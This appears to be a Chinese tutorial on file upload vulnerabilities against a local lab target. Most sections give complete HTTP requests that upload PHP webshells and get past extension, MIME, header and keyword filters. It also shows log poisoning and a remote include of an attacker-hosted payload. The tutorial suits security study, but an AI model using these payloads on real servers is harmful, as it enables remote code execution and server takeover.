【漏洞】文件上传漏洞

前言

文件上传漏洞

漏洞原理

  • 服务器允许上传包含恶意代码的文件,且文件中的恶意代码可以执行

常见业务

  • 头像上传

前端绕过

绕过图片类型检测

  • 如果文件类型是通过前端判断,可以直接修改浏览器的HTML代码
1
<button type="button" lay-data="{url:'upload.png',accept:'images',exts:'png'}"></button>
  • 也可以禁用浏览器JS加载

  • 还可以通过抓包修改请求数据

后端绕过

绕过文件后缀名检测

黑名单漏洞

  • 如果.php被加入到了黑名单,可以尝试使用其他文件后缀名.php5
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php5"
Content-Type: application/octet-stream

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  • PHP文件后缀名:.php.php2.php3.php4.php5.php6.php7.php8.pht.phtm.phtml
  • ASP文件后缀名:.asp.aspx.ascx.ashx.asa.cercdx
  • JSP文件后缀名:.jsp.jspx

中间件漏洞

传送门

编程语言漏洞

传送门

绕过图片类型检测(MIME检测)

  • 如果后端的判断逻辑是文件上传请求的文件类型检测,可以通过抓包修改请求数据来绕过

  • 上传一个php文件,并抓包,修改请求参数中的文件类型为图片

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过文件头检测

  • 如果后端的判断逻辑是文件头是否是图片的文件头,可以通过添加图片的文件头绕过
request
1
2
3
4
5
6
7
8
9
10
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

GIF89a
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过PHP的外壳检测

  • 尝试使用其他PHP外壳

传送门

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?=eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过PHP代码的方括号过滤

  • []改用{}
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST{x});?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过PHP代码的分号过滤

  • 直接省略;
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php eval($_REQUEST["x"])?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过函数关键词过滤

改用其他函数

传送门

改用字符串拼接

  • 先分割函数名字符串,再拼接函数名字符串
request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php $function_name='syste'.'m';$function_name('<shell>')?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

通过包含日志来绕过PHP代码的过滤

  1. 在上传的文件中包含系统日志文件

本案例以Nginx为例

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php include "/var/log/nginx/access.log";?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
  1. 访问上传的包含日志内容的页面
request
1
GET http://127.0.0.1:80/payload.php
  1. 根据回显内容,判定日志记录的内容,根据日志记录的内容将payload写入对应位置

举例:如果日志记录了User-Agent,则再次发送请求,在请求头的User-Agent参数中携带payload

request
1
2
GET http://127.0.0.1:80/
User-Agent: <?php eval($_REQUEST["x"]); ?>
  1. 再次访问上传的包含日志内容的页面,并携带payload,触发代码
request
1
2
3
4
POST http://127.0.0.1:80/payload.php
Content-Type: application/x-www-form-urlencoded

x=system("<shell>")

绕过PHP代码的点过滤

  1. 部署一个站点,包含payload
index.html
1
2
3
<html>
<?php eval($_REQUEST["x"]); ?>
</html>
  1. 将站点公网ip地址转换为int值

  2. 通过ip地址的int值包含有payload的站点

request
1
2
3
4
5
6
7
8
9
POST http://127.0.0.1:80/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX

------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data;name="file";filename="payload.php"
Content-Type: image/png

<?php include 'http://2130706433/';?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--

绕过二次渲染

传送门

完成

参考文献

哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec